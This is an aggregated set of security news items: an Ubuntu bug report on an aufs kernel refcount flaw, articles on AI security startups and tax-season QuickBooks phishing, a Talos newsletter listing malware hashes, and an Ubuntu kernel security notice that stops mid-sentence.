It was discovered that aufs improperly managed inode reference counts in the vfsub_dentry_open() method. A local attacker could use this vulnerability to cause a denial of service attack.

\[Impact\]

 \* Systems with aufs mounts are vulnerable to a kernel BUG(),  
   which can turn into a panic/crash if panic\_on\_oops is set.

 \* It is exploitable by unprivileged local users; and also  
   remote access operations (e.g., web server) potentially.

 \* This issue has also manifested in Kubernetes deployments  
   with a kernel panic in iptables-save or iptables-restore  
   after a few weeks of uptime, without user interaction.

 \* Usually all Kubernetes worker nodes hit the issue around  
   the same time.

\[Fix\]

 \* The issue is fixed with 2 patches in aufs4-linux.git:  
 - 515a586eeef3 aufs: do not call i\_readcount\_inc()  
 - f10aea57d39d aufs: bugfix, IMA i\_readcount

 \* The first addresses the issue, and the second addresses a  
   regression in the aufs feature to change RW branches to RO.

 \* The kernel v5.3 aufs patches had an equivalent fix to the  
   second patch, which is present in the Focal aufs patchset  
   (and on ubuntu-unstable/master & /master-5.8 on 20200629)

 - 1d26f910c53f aufs: for v5.3-rc1, maintain i\_readcount  
   (in aufs5-linux.git)

\[Test Case\]

 \* Repeatedly open/close the same file in read-only mode in  
   aufs (UINT\_MAX times, to overflow a signed int back to 0.)

 \* Alternatively, monitor the underlying filesystems's file  
   inode.i\_readcount over several open/close system calls.  
   (should not monotonically increase; rather, return to 0.)

\[Regression Potential\]

 \* This changes the core path that aufs opens files, so there  
   is a risk of regression; however, the fix changes aufs for  
   how other filesystems work, so this generally is OK to do.  
   In any case, most regressions would manifest in open() or  
   close() (where the VFS handles/checks inode.i\_readcount.)

 \* The aufs maintainer has access to an internal test-suite  
   used to validate aufs changes, used to identify the first  
   regression (in the branch RW/RO mode change), and then to  
   validate/publish the patches upstream; should be good now.

 \* This has also been tested with 'stress-ng --class filesystem'  
   and with 'xfstests -overlay' (patch to use aufs vs overlayfs)  
   on Xenial/Bionic/Focal (-proposed vs. -proposed + patches).  
   No regressions observed in stress-ng/xfstests log or dmesg.

\[Other Info\]

 \* Applied on Unstable (branches master and master-5.8)  
 \* Not required on Groovy (still 5.4; should sync from Unstable)  
 \* Required on LTS releases: Bionic and Focal and Xenial.  
 \* Required on other releases: Disco and Eoan (for custom kernels)

\[Original Bug Description\]

Problem Report:  
\--------------

An user reported several nodes in their Kubernetes clusters  
hit a kernel panic at about the same time, and periodically  
(usually 35 days of uptime, and in same order nodes booted.)

The kernel panics message/stack trace are consistent across  
nodes, in \_\_fput() by iptables-save/restore from kube-proxy.

Example:

"""  
\[3016161.866702\] kernel BUG at .../include/linux/fs.h:2583!  
\[3016161.866704\] invalid opcode: 0000 \[#1\] SMP  
...  
\[3016161.866780\] CPU: 40 PID: 33068 Comm: iptables-restor Tainted: P OE 4.4.0-133-generic #159-Ubuntu  
...  
\[3016161.866786\] RIP: 0010:\[...\] \[...\] \_\_fput+0x223/0x230  
...  
\[3016161.866818\] Call Trace:  
\[3016161.866823\] \[...\] \_\_\_\_fput+0xe/0x10  
\[3016161.866827\] \[...\] task\_work\_run+0x86/0xb0  
\[3016161.866831\] \[...\] exit\_to\_usermode\_loop+0xc2/0xd0  
\[3016161.866833\] \[...\] syscall\_return\_slowpath+0x4e/0x60  
\[3016161.866839\] \[...\] int\_ret\_from\_sys\_call+0x25/0x9f  
"""

(uptime: 3016161 seconds / (24\*60\*60) = 34.90 days)

They have provided a crashdump (privately available) used  
for analysis later in this bug report.

Note: the root cause turns out to be independent of K8s,  
as explained in the Root Cause section.

Related Report:  
\--------------

This behavior matches this public bug of another user:  
https://github.com/kubernetes/kubernetes/issues/70229

"""  
I have several machines happen kernel panic，and these  
machine have same dump trace like below:

KERNEL: /usr/lib/debug/boot/vmlinux-4.4.0-104-generic  
...  
PANIC: "kernel BUG at .../include/linux/fs.h:2582!"  
...  
COMMAND: "iptables-restor"  
...  
crash> bt  
...  
\[exception RIP: \_\_fput+541\]  
...  
#8 \[ffff880199f33e60\] \_\_fput at ffffffff812125ac  
#9 \[ffff880199f33ea8\] \_\_\_\_fput at ffffffff812126ee  
#10 \[ffff880199f33eb8\] task\_work\_run at ffffffff8109f101  
#11 \[ffff880199f33ef8\] exit\_to\_usermode\_loop at ffffffff81003242  
#12 \[ffff880199f33f30\] syscall\_return\_slowpath at ffffffff81003c6e  
#13 \[ffff880199f33f50\] int\_ret\_from\_sys\_call at ffffffff818449d0  
...

The above showed command "iptables-restor" cause the kernel  
panic and its pid is 16884，its parent process is kube-proxy.

Sometimes the process of kernel panic is "iptables-save" and  
the dump trace are same.

The kernel panic always happens every 26 days(machine uptime)  
"""

<< Adding further sections as comments to keep page short. >>

CVE-2020-11935: Bug #1873074 “kernel panic hit by kube-proxy iptables-save/resto...” : Bugs : linux package : Ubuntu

By developing new tools to defend against adversarial AI, companies can help ensure that artificial intelligence is developed and used in a responsible and safe manner.

On Wednesday, KPMG Studios, the consulting giant's incubator, launched Cranium, a startup to secure artificial intelligence (AI) applications and models. Cranium's "end-to-end AI security and trust platform" straddles two areas — MLOps (machine learning operations) and cybersecurity — and provides visibility into AI security and supply chain risks.

"Fundamentally, data scientists don't understand the cybersecurity risks of AI, and cyber professionals don't understand data science the way they understand other topics in technology," says Jonathan Dambrot, former KPMG partner and founder and CEO of Cranium. He says there is a wide gulf of understanding between data scientists and cybersecurity professionals, similar to the gap that often exists between development teams and cybersecurity staff.

With Cranium, key AI life-cycle stakeholders will have a common operating picture across teams to improve visibility and collaboration, the company says. The platform captures both in-development and deployed AI pipelines, including associated assets involved throughout the AI life cycle. Cranium quantifies the organization's AI security risk and establishes continuous monitoring. Customers will be able to establish an AI security framework, providing data science and security teams with a foundation for building a proactive and holistic AI security program.

To keep data and systems secure, Cranium maps the AI pipelines, validates their security, and monitors for adversarial threats. The technology integrates with existing environments to allow organizations to test, train, and deploy their AI models without changing workflow, the company says. In addition, security teams can use Cranium's playbook alongside the software to protect their AI systems and adhere to existing US and EU regulatory standards.

With Cranium's launch, KPMG is tapping into growing concerns about adversarial AI — the practice of modifying AI systems that have been intentionally manipulated or attacked to produce incorrect or harmful results. For example, an autonomous vehicle that has been manipulated could cause a serious accident, or a facial recognition system that has been attacked could misidentify individuals and lead to false arrests. These attacks can come from a variety of sources, including malicious actors, and could be used to spread disinformation, conduct cyberattacks, or commit other types of crimes.

Cranium is not the only company looking at protecting AI applications from adversarial AI attacks. Competitors such as HiddenLayer and Picus are already working on tools to detect and prevent AI attacks.

**Opportunities for Innovation**

The entrepreneurial opportunities in this area are significant, as the risks of adversarial AI are likely to increase in the coming years. There is also incentive for the major players in the AI space — OpenAI, Google, Microsoft, and possibly IBM — to focus on securing the AI models and platforms that they are producing.

Businesses can focus their AI efforts on detection and prevention, adversarial training, explainability and transparency, or post-attack recovery. Software companies can develop tools and techniques to identify and block adversarial inputs, such as images or text that have been intentionally modified to mislead an AI system. Companies can also develop techniques to detect when an AI system is behaving abnormally or in an unexpected manner, which could be a sign of an attack.

Another approach to protecting against adversarial AI is to "train" AI systems to be resistant to attacks. By exposing an AI system to adversarial examples during the training process, developers can help the system learn to recognize and defend against similar attacks in the future. Software companies can develop new algorithms and techniques for adversarial training, as well as tools to evaluate the effectiveness of these techniques.

With AI, it can be difficult to understand how a system is making its decisions. This lack of transparency can make it difficult to detect and defend against adversarial attacks. Software companies can develop tools and techniques to make AI systems more explainable and transparent so that developers and users can better understand how the system is making its decisions and identify potential vulnerabilities.

Even with the best prevention techniques in place, it's possible that an AI system could still be breached. In these cases, it's important to have tools and techniques to recover from the attack and restore the system to a safe and functional state. Software companies can develop tools to help identify and remove any malicious code or inputs, as well as techniques to restore the system to a "clean" state.

However, protecting AI models can be challenging. It can be difficult to test and validate the effectiveness of AI security solutions, since attackers can constantly adapt and evolve their techniques. There is also the risk of unintended consequences, where AI security solutions could themselves introduce new vulnerabilities.

Overall, the risks of adversarial AI are significant, but so are the entrepreneurial opportunities for software companies to innovate in this area. In addition to improving the safety and reliability of AI systems, protecting against adversarial AI can help build trust and confidence in AI among users and stakeholders. This, in turn, can help drive adoption and innovation in the field.

Fight AI With AI

In next-gen, credential-harvesting attacks, phishing emails use cloud services and are free from the typical bad grammar or typos they've traditionally used (and which users have learned to spot).

Cybercriminals continue to target victims with cleverly crafted phishing attacks, this time from QuickBooks online accounts, aimed at harvesting credentials. The gambits use a level of legitimacy and social engineering indicative of a new wave in business email compromise (BEC) efforts, researchers said.

The attacks show how cybercriminals are continuing to evolve phishing tactics as security and detection for these types of offensives improves, switching to maneuvers that are even more evasive. That's according to researchers from Avanan, a Check Point company, who said in a blog post on April 6 that this evolution of attacks can be considered "BEC 3.0." 

Threat actors are now signing up for free accounts for legitimate services and then targeting victims from within those services, using email addresses from domains that won't be flagged by typical scanning tools, the researchers said.

"The most unique \[aspect of the attack\] is the evolution from hackers here," Jeremy Fuchs, Avanan cybersecurity researcher/analyst and author of the blog post, tells Dark Reading. "Hackers are incredibly adept at adjusting. So much money and technology has been thrown at \[what\] we consider BEC 2.0, and many solutions have gotten really good at stopping it. So, hackers have to adjust — and they have here."

Avanan already has found evidence of similar attacks coming from within PayPal and Google, as well as previous attacks that already came from legitimate QuickBooks accounts. Worsening matters is the fact that attackers couple this tactic with carefully written and socially engineered emails that are free from the typical bad grammar or typos that phishing emails traditionally have used and which users have learned to spot, Fuchs said.

"All the typical phishing hygiene tricks are thrown out the window," he wrote in the post. "You can't see a discrepancy in the sender's address. The links are legitimate. The spelling and grammar are on point."

**Common Lure Without the Typos**

One reason why phishing remains one of the primary initial access vectors: the growing use by attackers of legitimate software-as-a-service (SaaS) and cloud offerings such as LinkedIn, Google Cloud, AWS, and numerous others to host malicious content or to direct users to it.

In the case of the latest QuickBooks attack, the messages inform victims that their subscriptions for a Norton antivirus product — Norton LifeLock — are about to be renewed and request action from the victim to call a phone number to verify or cancel an automatic renewal payment.

This latter detail may be the only thing that appears questionable to even the savviest of email user, however, as Fuchs says, "plenty of people use Norton LifeLock — and that goes for both consumers and businesses."

If a victim falls for the bait, the campaign packs a one-two punch, as attackers can harvest not only potential payment credentials, but also a victim's phone number for future attacks from chat apps like WhatsApp, he wrote in the post.

Overall, the attack demonstrates that hackers are adjusting tactics by creating messages that appear not only convincing to end users but are also difficult for security protections to pick up because they come from legitimate sources, Fuchs says. QuickBooks, for example, is a perfectly safe website, and, as it's income-tax season in the US and other countries, an email from the service likely won't surprise users, Fuchs says.

"What hackers have done is taken that safety and used it to their advantage," he says. "By placing unsafe links or messages inside a safe receptacle, it can easily evade detection, because the security service is seeing that the receptacle is safe and passing it forward."

Indeed, all the standard checks — domain, SPF, DMARC, etc. — would allow this type of email to pass, and many security services will see the Intuit domain and just send it through without further checks, according to Fuchs.

"There isn't a newly created domain to look at," Fuchs wrote in the post. "Natural language processing won't do much good. This is what makes these attacks so incredibly tricky to top."

**Mitigation Tactics**

With attackers stepping up their phishing game in novel ways, enterprises and other organizations also have to keep pace in terms of security protection and arming employees with tools to identify BEC 3.0 messages, the researchers said.

Advanced employee education about the new types of phishing attacks can go a long way to mitigating them, according to Fuchs.

"This requires a new wave of education for users," he wrote in the post. "Hovering over links isn't as helpful — now users have to be wary of all links. This requires a whole new approach."

One key thing that organizations can ask employees to do is to Google phone numbers included in suspicious messages that require them to make a phone call to take action, he says. In the case of the attack investigated by Avanan, a Google search of the phone number included in the message flagged it as being used in scams, the researchers found.

Organizations can also implement policies for the type of actions that BEC emails request that require independent verification from a second employee and can help to decrease the probability of a successful attack, Fuchs says.

Other steps enterprises can take to avoid compromise by advanced phishing attacks include implementing data-protection policies that can highlight when a credit card or other payment method is used, alerting security teams and finance teams that something is amiss, he says.

Fuchs adds: "Utilizing browser security that follows a link through all its intended actions is helpful too."

'BEC 3.0' Is Here With Tax-Season QuickBooks Cyberattacks

Be prepared to discuss difficult topics with potential new third-party software vendors, such as incident notification requirements, access to logs during a security incident and who the important emergency contacts are.

Thursday, April 6, 2023 14:04

Welcome to this week’s edition of the Threat Source newsletter.

It seems like we can’t go a full calendar year without a major supply chain attack. In late 2020 we had the SolarWinds incident (which, doesn’t that somehow seem like five years ago but also yesterday?), then the REvil ransomware group infiltrating the Kaseya VSA software in the summer of 2021 and last week we had another attack targeting the 3CX Desktop Softphone application.

For now, the adversaries behind the 3CX supply chain attack seem mainly focused on infiltrating cryptocurrency-related companies and exchanges to steal money. But we’ve still yet to see the full scale of this attack — the 3CX website claims to have over 600,000 customers and 12 million daily users. In the company’s latest update on the security incident, 3CX said the “incident was carried out by a highly experienced and knowledgeable hacker.”

So even though we’ve been talking about the importance of defending against supply chain attacks for three years now, I felt like this was a good place to round up all the information Talos has available on preparing for and preventing supply chain attacks. Here are a few tips with some handy links:

*   If your organization is specifically affected by the 3CX supply chain attack, Cisco Secure and Talos have a range of detection available across the Cisco portfolio. 3CX also has instructions for uninstalling the affected desktop application on its website.
*   Be prepared to discuss difficult topics with potential new third-party software vendors, such as incident notification requirements, access to logs during a security incident and who the important emergency contacts are. Talos Incident Response has a full list of these questions in this blog.
*   Take an inventory of the SaaS applications your organization uses and document their business use case and relevant access authorizations. Nick Biasini and I talk about the importance of asset management in this episode of Talos Takes right after the SolarWinds incident.
*   Implement a zero-trust approach to security so that your organization verifies every access attempt. This also means only assigning the appropriate rights to each user on a network that they need to do their job.
*   Create an incident response plan and/or playbook so your organization is ready to respond in the event of a supply chain attack. Cisco Talos Incident Response can help with that.

**The one big thing**

The developer of the Typhon Reborn information stealer recently released an updated version (V2) that includes significant updates to its codebase and improved capabilities. Most notably, the new version features additional anti-analysis and anti-virtual machine (VM) capabilities to evade detection and make analysis more difficult.

**Why do I care?**

Once on an infected machine, the stealer can harvest and exfiltrate sensitive information and uses the Telegram API to send stolen data to attackers. This can include highly sensitive data, such as login information to cryptocurrency wallets and exchanges, VPN clients and email and messaging clients. The latest version of the stealer is available on dark web forums for a relatively low price in comparison to other information stealers, so Talos researchers suspect this malware will pop up in cyber attacks going forward.

**So now what?**

The Talos blog has a full rundown of the Cisco Secure detection capabilities in place to prevent the execution of this malware and alert users if it’s on their network.

**Top security headlines of the week**

While the proposed “RESTRICT Act” in U.S. Congress is widely known as the “TikTok ban,” it would **actually do much more than restrict the popular social media app in the U.S.** Critics of the bill say, if passed, it would give the Executive Branch greater control over the online marketplace and potentially restrict the sale of other software that could be viewed as potentially dangerous like VPNs that consumers use to encrypt and route their traffic. The White House is in favor of the bill, saying that it would protect American national security by restricting data collection from foreign governments. However, the language of the bill only says it would restrict software from countries identified as a “foreign adversary,” which currently includes China, Cuba, Iran, North Korea, Russia and Venezuela. (Vice, The Electronic Frontier Foundation)

International law enforcement agencies **seized several domain names tied to Genesis Market,** a popular cybercrime store, on Wednesday, while also arresting some of its alleged administrators. Genesis Market was known to sell access to stolen passwords and other data. Customers who purchased this information could load the victim’s authentication cookies into their web browser to access their online accounts without needing a password and sometimes bypass multi-factor authentication. Arrest warrants were reportedly out for several individuals involved in the marketplace in the U.S., Canada and Europe. During a series of raids this week, the UK's National Crime Agency (NCA) arrested 24 people who are suspected users of the site. (BBC News, Krebs on Security)

**Online alcohol recovery startups Monument and Tempest were mistakenly sharing users’ health information** and data with third-party advertisers for years without their consent, according to a data breach notification filed with California’s attorney general. Monument, which acquired Tempest last year, assists customers in dealing with and recovering from alcohol abuse, including offering online counseling, an anonymous forum and the ability to prescribe medication. The company said in the filing that they were mistakenly sharing information through third-party ad tracking systems such as those from Google and Meta. The data shared with advertisers included patients’ photos, the answers to online questionnaires about their health and alcohol use, personally identifiable information (PII) and their insurance providers. (TechCrunch, The Verge)

**Can’t get enough Talos?**

*   Talos Takes Ep. #133: The defensive and offensive implications of ChatGPT and AI
*   Vulnerability Spotlight: Buffer overflow vulnerability in ADMesh library
*   Threat Roundup for March 24 - 31
*   Vulnerability Spotlight: Vulnerability in ManageEngine OpManager could lead to XXE attack
*   Typhon Reborn Stealer Malware Resurfaces with Advanced Evasion Techniques

**Upcoming events where you can find Talos**

**RSA** **(April 24 - 27)**

San Francisco, CA

**Cisco Live U.S.** **(June 4 - 8)**

Las Vegas, NV

**Most prevalent malware files from Talos telemetry over the past week**

  
**SHA 256:** e248b01e3ccde76b4d8e8077d4fcb4d0b70e5200bf4e738b45a0bd28fbc2cae6  
**MD5:** 1e2a99ae43d6365148d412b5dfee0e1c  
**Typical Filename:** PDFpower.exe  
**Claimed Product:** PdfPower  
**Detection Name:** Win32.Adware.Generic.SSO.TALOS

**SHA 256:** 00ab15b194cc1fc8e48e849ca9717c0700ef7ce2265511276f7015d7037d8725  
**MD5:** d47fa115154927113b05bd3c8a308201  
**Typical Filename:** mssqlsrv.exe  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.65065311

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  
**MD5:** 93fefc3e88ffb78abb36365fa5cf857c  
**Typical Filename:** Wextract  
**Claimed Product:** Internet Explorer  
**Detection Name:** PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg

**SHA 256:** de3908adc431d1e66656199063acbb83f2b2bfc4d21f02076fe381bb97afc423  
**MD5:** 954a5fc664c23a7a97e09850accdfe8e  
**Typical Filename:** teams15.exe  
**Claimed Product:** teams15  
**Detection Name:** Gen:Variant.MSILHeracles.59885

**SHA 256:** c74e7421f2021b46ee256e5f02d94c1bce15da107c8c997c611055412de1ac1  
**MD5:** 2d16d0af6183803a79d9ef5c744286c4  
**Typical Filename:** nano\_download.php  
**Claimed Product:** Web Companion Installer  
**Detection Name:** W32.1C74E7421F-100.SBX.VIOC

Threat Source newsletter (April 6, 2023) — Another friendly reminder about supply chain attacks

New threats from generative AI demand a generative AI security response.

Generative artificial intelligence technologies such as ChatGPT have brought sweeping changes to the security landscape almost overnight. Generative AI chatbots can produce clear, well-punctuated prose, images, and other media in response to short prompts from users. ChatGPT has quickly become the symbol of this new wave of AI, and the powerful force unleashed by this technology has not been lost on cybercriminals.

A new kind of arms race is underway to develop technologies that leverage generative AI to create thousands of malicious text and voice messages, Web links, attachments, and video files. The hackers are seeking to exploit vulnerable targets by expanding their range of social engineering tricks. Tools such as ChatGPT, Google's Bard, and Microsoft's AI-powered Bing all rely on large language models to exponentially increase access to learning and thus generate new forms of content based on that contextualized knowledge.

In this way, generative AI enables threat actors to rapidly accelerate the speed and variation of their attacks by modifying code in malware, or by creating thousands of versions of the same social engineering pitch to increase their probability of success. As machine learning technologies advance, so will the number of ways that this technology can be used for criminal purposes.

Threat researchers warn that the generative AI genie is out of the bottle now, and it is already automating thousands of uniquely tailored phishing messages and variations of those messages to increase the success rate for threat actors. The cloned emails reflect similar emotions and urgency as the originals, but with slightly altered wording that makes it hard to detect they were sent from automated bots.

**Fighting Back With a "Humanlike" Approach to AI**

Today, humans make up the top targets for business email compromise (BEC) attacks that use multichannel payloads to play off human emotions such as fear ("Click here to avoid an IRS tax audit...") or greed ("Send your credentials to claim a credit card rebate..."). The bad actors have already retooled their strategies to attack individuals directly while seeking to exploit business software weaknesses and configuration vulnerabilities.

The rapid rise in cybercrime based on generative AI makes it increasingly unrealistic to hire enough security researchers to defend against this problem. AI technology and automation can detect and respond to cyber threats much more quickly and accurately than people can, which in turn frees up security teams to focus on tasks that AI cannot currently address. Generative AI can be used to anticipate the vast numbers of potential AI-generated threats by applying AI data augmentation and cloning techniques to assess each core threat and spawn thousands of other variations of that same core threat, enabling the system to train itself on countless possible variations.

All these elements must be contextualized in real time to protect users from clicking on malicious links or opening bad attachments. The language processor builds a contextual framework that can spawn a thousand similar versions of the same message but with slightly different wording and phrases. This approach enables users to stop current threats while anticipating what future threats may look like and blocking them too.

**Protecting Against Social Engineering in the Real World**

Let's examine how a social engineering attack might play out in the real world. Take the simple example of an employee who receives a notice about an overdue invoice from AWS, with an urgent request for an immediate payment by wire transfer.

The employee cannot discern if this message came from a real person or a chatbot. Until now, legacy technologies have applied signatures to recognize original email attacks, but now the attackers can use generative AI to slightly alter the language and spawn new undetected attacks. The remedy requires a natural language processing and relationship graph technology that can analyze the data and correlate the fact that the two separate messages express the same meaning.

In addition to natural language processing, the use of relationship graph technology conducts a baseline review of all emails sent to the employee to identify any prior messages or invoices from AWS. If it can find no such emails, the system is alerted to protect the employee from incoming BEC attacks. Distracted employees may be fooled into quickly replying before they think through the consequences of giving up their personal credentials or making financial payments to a potential scammer.

Clearly, this new wave of generative AI has tilted the advantage in favor of the attackers. As a result, the best defense in this emerging battle will be to turn the same AI weapons against the attackers in anticipation of their next moves and use AI to protect susceptible employees from any future attacks.

**About the Author**

    

Patrick Harr is the CEO of SlashNext, an integrated cloud messaging security company using patented HumanAI™ to stop BEC, smishing, account takeovers, scams, malware, and exploits in email, mobile, and Web messaging before they become a breach.

It Takes AI Security to Fight AI Cyberattacks

Ubuntu Security Notice 6001-1 - Xuewei Feng, Chuanpu Fu, Qi Li, Kun Sun, and Ke Xu discovered that the TCP implementation in the Linux kernel did not properly handle IPID assignment. A remote attacker could use this to cause a denial of service or inject forged data. Ke Sun, Alyssa Milburn, Henrique Kawakami, Emma Benoit, Igor Chervatyuk, Lisa Aichele, and Thais Moreira Hamasaki discovered that the Spectre Variant 2 mitigations for AMD processors on Linux were insufficient in some situations. A local attacker could possibly use this to expose sensitive information.

==========================================================================  
Ubuntu Security Notice USN-6001-1  
April 06, 2023

linux-aws vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 16.04 ESM

Summary:

Several security issues were fixed in the Linux kernel.

Software Description:  
- linux-aws: Linux kernel for Amazon Web Services (AWS) systems

Details:

Xuewei Feng, Chuanpu Fu, Qi Li, Kun Sun, and Ke Xu discovered that the TCP  
implementation in the Linux kernel did not properly handle IPID assignment.  
A remote attacker could use this to cause a denial of service (connection  
termination) or inject forged data. (CVE-2020-36516)

Ke Sun, Alyssa Milburn, Henrique Kawakami, Emma Benoit, Igor Chervatyuk,  
Lisa Aichele, and Thais Moreira Hamasaki discovered that the Spectre  
Variant 2 mitigations for AMD processors on Linux were insufficient in some  
situations. A local attacker could possibly use this to expose sensitive  
information. (CVE-2021-26401)

Jürgen Groß discovered that the Xen subsystem within the Linux kernel did  
not adequately limit the number of events driver domains (unprivileged PV  
backends) could send to other guest VMs. An attacker in a driver domain  
could use this to cause a denial of service in other guest VMs.  
(CVE-2021-28711, CVE-2021-28712, CVE-2021-28713)

Wolfgang Frisch discovered that the ext4 file system implementation in the  
Linux kernel contained an integer overflow when handling metadata inode  
extents. An attacker could use this to construct a malicious ext4 file  
system image that, when mounted, could cause a denial of service (system  
crash). (CVE-2021-3428)

It was discovered that the IEEE 802.15.4 wireless network subsystem in the  
Linux kernel did not properly handle certain error conditions, leading to a  
null pointer dereference vulnerability. A local attacker could possibly use  
this to cause a denial of service (system crash). (CVE-2021-3659)

It was discovered that the System V IPC implementation in the Linux kernel  
did not properly handle large shared memory counts. A local attacker could  
use this to cause a denial of service (memory exhaustion). (CVE-2021-3669)

Alois Wohlschlager discovered that the overlay file system in the Linux  
kernel did not restrict private clones in some situations. An attacker  
could use this to expose sensitive information. (CVE-2021-3732)

It was discovered that the SCTP protocol implementation in the Linux kernel  
did not properly verify VTAGs in some situations. A remote attacker could  
possibly use this to cause a denial of service (connection disassociation).  
(CVE-2021-3772)

It was discovered that the btrfs file system implementation in the Linux  
kernel did not properly handle locking in certain error conditions. A local  
attacker could use this to cause a denial of service (kernel deadlock).  
(CVE-2021-4149)

Jann Horn discovered that the socket subsystem in the Linux kernel  
contained a race condition when handling listen() and connect() operations,  
leading to a read-after-free vulnerability. A local attacker could use this  
to cause a denial of service (system crash) or possibly expose sensitive  
information. (CVE-2021-4203)

It was discovered that the file system quotas implementation in the Linux  
kernel did not properly validate the quota block number. An attacker could  
use this to construct a malicious file system image that, when mounted and  
operated on, could cause a denial of service (system crash).  
(CVE-2021-45868)

Zhihua Yao discovered that the MOXART SD/MMC driver in the Linux kernel did  
not properly handle device removal, leading to a use-after-free  
vulnerability. A physically proximate attacker could possibly use this to  
cause a denial of service (system crash). (CVE-2022-0487)

It was discovered that the block layer subsystem in the Linux kernel did  
not properly initialize memory in some situations. A privileged local  
attacker could use this to expose sensitive information (kernel memory).  
(CVE-2022-0494)

It was discovered that the UDF file system implementation in the Linux  
kernel could attempt to dereference a null pointer in some situations. An  
attacker could use this to construct a malicious UDF image that, when  
mounted and operated on, could cause a denial of service (system crash).  
(CVE-2022-0617)

David Bouman discovered that the netfilter subsystem in the Linux kernel  
did not initialize memory in some situations. A local attacker could use  
this to expose sensitive information (kernel memory). (CVE-2022-1016)

It was discovered that the implementation of the 6pack and mkiss protocols  
in the Linux kernel did not handle detach events properly in some  
situations, leading to a use-after-free vulnerability. A local attacker  
could possibly use this to cause a denial of service (system crash).  
(CVE-2022-1195)

Duoming Zhou discovered race conditions in the AX.25 amateur radio protocol  
implementation in the Linux kernel, leading to use-after-free  
vulnerabilities. A local attacker could possibly use this to cause a denial  
of service (system crash). (CVE-2022-1205)

It was discovered that the tty subsystem in the Linux kernel contained a  
race condition in certain situations, leading to an out-of-bounds read  
vulnerability. A local attacker could possibly use this to cause a denial  
of service (system crash) or expose sensitive information. (CVE-2022-1462)

It was discovered that the implementation of X.25 network protocols in the  
Linux kernel did not terminate link layer sessions properly. A local  
attacker could possibly use this to cause a denial of service (system  
crash). (CVE-2022-1516)

Duoming Zhou discovered a race condition in the NFC subsystem in the Linux  
kernel, leading to a use-after-free vulnerability. A privileged local  
attacker could use this to cause a denial of service (system crash) or  
possibly execute arbitrary code. (CVE-2022-1974)

Duoming Zhou discovered that the NFC subsystem in the Linux kernel did not  
properly prevent context switches from occurring during certain atomic  
context operations. A privileged local attacker could use this to cause a  
denial of service (system crash). (CVE-2022-1975)

It was discovered that the HID subsystem in the Linux kernel did not  
properly validate inputs in certain conditions. A local attacker with  
physical access could plug in a specially crafted USB device to expose  
sensitive information. (CVE-2022-20132)

It was discovered that the device-mapper verity (dm-verity) driver in the  
Linux kernel did not properly verify targets being loaded into the device-  
mapper table. A privileged attacker could use this to cause a denial of  
service (system crash) or possibly execute arbitrary code. (CVE-2022-20572,  
CVE-2022-2503)

Duoming Zhou discovered that race conditions existed in the timer handling  
implementation of the Linux kernel's Rose X.25 protocol layer, resulting in  
use-after-free vulnerabilities. A local attacker could use this to cause a  
denial of service (system crash). (CVE-2022-2318)

Zheyu Ma discovered that the Silicon Motion SM712 framebuffer driver in the  
Linux kernel did not properly handle very small reads. A local attacker  
could use this to cause a denial of service (system crash). (CVE-2022-2380)

David Leadbeater discovered that the netfilter IRC protocol tracking  
implementation in the Linux Kernel incorrectly handled certain message  
payloads in some situations. A remote attacker could possibly use this to  
cause a denial of service or bypass firewall filtering. (CVE-2022-2663)

Lucas Leong discovered that the LightNVM subsystem in the Linux kernel did  
not properly handle data lengths in certain situations. A privileged  
attacker could use this to cause a denial of service (system crash) or  
possibly execute arbitrary code. (CVE-2022-2991)

It was discovered that the Intel 740 frame buffer driver in the Linux  
kernel contained a divide by zero vulnerability. A local attacker could use  
this to cause a denial of service (system crash). (CVE-2022-3061)

Jiasheng Jiang discovered that the wm8350 charger driver in the Linux  
kernel did not properly deallocate memory, leading to a null pointer  
dereference vulnerability. A local attacker could use this to cause a  
denial of service (system crash). (CVE-2022-3111)

It was discovered that the sound subsystem in the Linux kernel contained a  
race condition in some situations. A local attacker could use this to cause  
a denial of service (system crash). (CVE-2022-3303)

It was discovered that the Broadcom FullMAC USB WiFi driver in the Linux  
kernel did not properly perform bounds checking in some situations. A  
physically proximate attacker could use this to craft a malicious USB  
device that when inserted, could cause a denial of service (system crash)  
or possibly execute arbitrary code. (CVE-2022-3628)

Ziming Zhang discovered that the VMware Virtual GPU DRM driver in the Linux  
kernel contained an out-of-bounds write vulnerability. A local attacker  
could use this to cause a denial of service (system crash).  
(CVE-2022-36280)

It was discovered that the NILFS2 file system implementation in the Linux  
kernel did not properly deallocate memory in certain error conditions. An  
attacker could use this to cause a denial of service (memory exhaustion).  
(CVE-2022-3646)

It was discovered that the Netlink Transformation (XFRM) subsystem in the  
Linux kernel contained a reference counting error. A local attacker could  
use this to cause a denial of service (system crash). (CVE-2022-36879)

It was discovered that the infrared transceiver USB driver did not properly  
handle USB control messages. A local attacker with physical access could  
plug in a specially crafted USB device to cause a denial of service (memory  
exhaustion). (CVE-2022-3903)

Jann Horn discovered a race condition existed in the Linux kernel when  
unmapping VMAs in certain situations, resulting in possible use-after-free  
vulnerabilities. A local attacker could possibly use this to cause a denial  
of service (system crash) or execute arbitrary code. (CVE-2022-39188)

Hyunwoo Kim discovered that the DVB Core driver in the Linux kernel did not  
properly perform reference counting in some situations, leading to a use-  
after-free vulnerability. A local attacker could use this to cause a denial  
of service (system crash) or possibly execute arbitrary code.  
(CVE-2022-41218)

It was discovered that a race condition existed in the SMSC UFX USB driver  
implementation in the Linux kernel, leading to a use-after-free  
vulnerability. A physically proximate attacker could use this to cause a  
denial of service (system crash) or possibly execute arbitrary code.  
(CVE-2022-41849)

It was discovered that a race condition existed in the Roccat HID driver in  
the Linux kernel, leading to a use-after-free vulnerability. A local  
attacker could use this to cause a denial of service (system crash) or  
possibly execute arbitrary code. (CVE-2022-41850)

It was discovered that the USB core subsystem in the Linux kernel did not  
properly handle nested reset events. A local attacker with physical access  
could plug in a specially crafted USB device to cause a denial of service  
(kernel deadlock). (CVE-2022-4662)

It was discovered that the network queuing discipline implementation in the  
Linux kernel contained a null pointer dereference in some situations. A  
local attacker could use this to cause a denial of service (system crash).  
(CVE-2022-47929)

Kyle Zeng discovered that the IPv6 implementation in the Linux kernel  
contained a NULL pointer dereference vulnerability in certain situations. A  
local attacker could use this to cause a denial of service (system crash).  
(CVE-2023-0394)

It was discovered that a memory leak existed in the SCTP protocol  
implementation in the Linux kernel. A local attacker could use this to  
